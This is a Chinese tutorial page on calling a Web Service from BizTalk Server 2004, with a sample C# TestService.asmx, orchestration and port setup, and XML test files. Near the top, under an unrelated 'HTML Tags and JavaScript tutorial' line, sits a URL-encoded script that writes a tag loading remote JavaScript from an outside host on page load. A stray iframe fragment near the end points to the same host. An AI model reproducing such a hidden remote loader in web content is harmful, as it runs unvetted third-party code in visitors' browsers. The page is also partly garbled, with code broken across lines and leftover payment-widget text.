Biztalk 开发之 调用Web Services

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
Biztalk 开发之 调用Web Services




    Biztalk Server 2004与Web Services有如下几种交互形式:
    1.在Biztalk Server中调用Web Services;
    2.将Biztalk Server的架构发布为Web Services;
    3.将Biztalk Server的业务流程发布为Web Services;
    在
Biztalk 开发之 架构的发布
一文中,我们讨论了第二种形式。在本文中,具体介绍如何在Biztalk Server中调用Web Services。
    在Biztalk Server中调用Web Services,典型的应用包括四类消息:
    A.导入消息——从接收管道接收的外部应用传到Biztalk Server中的消息;
    B.请求消息——从Biztalk Server中向Web Services请求的消息;
    C.回应消息——从Web Services返回给Biztalk Server的消息;
    D.输出消息——从Biztalk Server输出到外部应用的消息。
    在Biztalk Server中,每个消息都有自己的消息类型。其中的消息B和C的消息类型,是由Biztalk Server自动生成的。具体来说,是在将Web Services添加到Biztalk Server项目的Web引用时生成的;而消息A和D的消息类型是由导入和输出的消息内容来决定的。
    在具体应用时,导入消息可能和输出消息的结构相同,只是导入消息的某些字段为空,通过调用Web Services后,将这些字段补充完整,然后向外输出。通常在Biztalk Server调用Web Services需要完成如下任务:
    一、创建一个Web Service
    二、创建一个Biztalk Server项目并添加Web引用
    三、创建一个用于定义导入和输出消息类型的架构
    四、创建业务流程
    五、编译、布署和测试
    下面来看具体步骤:
    一、创建一个Web Service
    1. 在C:/Inetpub/wwwroot下创建一个TestService.asmx文件,其源程序如下:
       
<%
@

WebService

Language
="c#"

class
="TestService"

%>
 
       
using
System;
       
using
System.Collections;
       
using
System.ComponentModel;
       
using
System.Data;
       
using
System.Diagnostics;
       
using
System.Web;
       
using
System.Web.Services;
 
       
public

class

TestService
: System.Web.Services.
WebService
       
{
        
   
[
WebMethod
]
        
   
public

string
CheckUserId(
string
strUserId)
        
   
{
    
        
   
if
(strUserId ==
"fengfangfang"
)
        
       
{
            
       
return

"Administrator"
;
        
       
}
    
        
   
else
        
       
{
        
           
return

"User"
;
    
        
   
}
        
   
}
       
}
 
    2. 在浏览器中,输入
http://localhost/TestService.asmx
,对Web Service进行测试。
    二、创建一个Biztalk Server项目
    3. 打开Visual Studio .Net 2003,创建一个新项目,选择项目类型为BizTalk项目,模板为空的BizTalk Server项目,输入名称为WebServices1。
    4. 在解决方案资源管理器中为WebServices1项目添加Web References,其URL为
http://localhost/TestService.asmx

    三、创建一个用于定义导入和输出消息类型的架构
    5. 为WebServices1项目添加新项,选择架构,输入名称为UserInfo.xsd。
    6. 为Root重命名为UserInfo,并为其添加两个子字段元素,其名称分别为UserId和RoleName。
    7. 选择UserId元素,单击右键选择升级/快速升级;按同样的方法对RoleName进行升级。
    说明:由于后面要使用UserId做为参数向Web Service传递,在Web Service返回消息后还需要对RoleName进行更新,因此需要将这两个元素进行升级,这样在业务流程中才能访问和设置它们的值。
    四、创建业务流程
    8. 为WebServices1项目添加一个新项,选择BizTalk 业务流程,设置名称为Orchestration1.odx。
    9. 在业务流程视图中创建RequestWebService消息,其消息类型为Web消息类型/WebServices1.localhost.TestService_.CheckUserId_request;创建ResponseWebService消息,其消息类型为Web消息类型/WebServices1.localhost.TestService_.CheckUserId_response;创建InMsg和OutMsg消息,其消息类型为架构/WebServices1.UserInfo。
    10.创建一个端口,设置端口名称为WSPort,使用现有端口类型,选择Web 端口类型/WebServices1.localhost.TestService_.TestService,其余选择默认值完成向导。
 
       
 
    11.为业务流程添加一个接收操作ReceiveInMsg,用于接收外部应用发来的消息;接着添加一个消息赋值操作AssignRequest,自动添加的构造消息命名为ConstructRequest,用于构造RequestWebService消息;添加一个发送消息Call WS和一个接收消息Receive WS操作,用于与WSPort联系,实现对Web Service的调用;添加一个消息赋值操作,命名自动添加的构造消息为ConstructOutMsg,用于生成OutMsg;添加一个发送操作SendOutMsg,用于发送OutMsg消息。
    12.设置Call WS的消息为RequestWebService,并与WSPort的Request端口相连接;设置Receive WS的消息为ResponseWebService,并与WSPort的Response端口相连接。
    13.设置ReceiveInMsg的消息为InMsg,设置SendOutMsg的消息为OutMsg。
    14.设置ConstructRequest的构造的消息为RequestWebService,设置ConstructOutMsg的构造的消息为OutMsg。
    15.为AssignRequest输入如下表达式:
        RequestWebService.strUserId = InMsg(WebServices1.PropertySchema.UserId);
    说明:此语句表示将UserId赋值给RequestWebService的strUserId元素。
    16.为AssignOutMsg输入如下表达式:
        OutMsg=InMsg;
        OutMsg(WebServices1.PropertySchema.RoleName) = ResponseWebService.CheckUserIdResult ; 
    说明:第一句将输入消息直接赋值给输出消息,第二句更新输出消息的RoleName元素,将其值由Web Service的返回值代替。
 
       
 
    17.在端口图面中放入一个端口,根据端口配置向导设置名称为ReceivePort,端口类型名称为ReceivePortType,端口通信方向为始终在此端口上接收消息,端口指定为立即指定;设置传输为FILE,设置URI为C:/in/*.xml,设置接收管道为Microsoft.BizTalk.DefaultPipelines.XMLReceive。
    18.在端口图面中再放入一个端口,设置名称为SendPort,设置端口类型为SendPortType;设置端口通信方向为始终在此端口上发送消息,设置端口绑定为立即指定,设置传输为File,设置URI为c:/out/%MessageID%.xml,设置发送管道为Microsoft.BizTalk.DefaultPipelines.XMLTransmit。
    19.将接收端口ReceivePort与ReceiveInMsg操作连接起来,将SendPort与SendOutMsg连接起来。
 
       
 
    20.设置ReceiveInMsg操作的激活属性为True。
    五、编译、布署和测试
    21.选择生成/生成解决方案,编译项目。
    22.选择生成/配置管理器菜单,选中部署复选框。
    23.选择项目/WebServices1属性菜单,为项目设置通用属性、程序集/程序集密钥文件。密钥文件的生成详见
需要强名称程序集
一文。
    24.选择生成/部署解决方案,部署项目。
    25.在BizTalk浏览器中刷新BizTalk配置数据库,将会在业务流程下出现WebServices1.Orchestration1结点,启动该业务流程。
    26.将测试文件放入c:/in文件夹下,将会自动在c:/out文件夹中输出xml文件。 
    放入的测试文件test.xml的内容:
       
<
ns0:UserInfo

xmlns:ns0
=
"
http://WebServices1.UserInfo
"
>
        
 
<
UserId
>
fengfangfang
</
UserId
>
        
 
<
RoleName
></
RoleName
>
       
</
ns0:UserInfo
>
    输出文件的内容:
       
<?
xml

version
=
"
1.0
"

encoding
=
"
utf-8
"
?><
ns0:UserInfo

xmlns:ns0
=
"
http://WebServices1.UserInfo
"
>
        
 
<
UserId
>
fengfangfang
</
UserId
>
        
 
<
RoleName
>
Administrator
</
RoleName
>
       
</
ns0:UserInfo
>
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值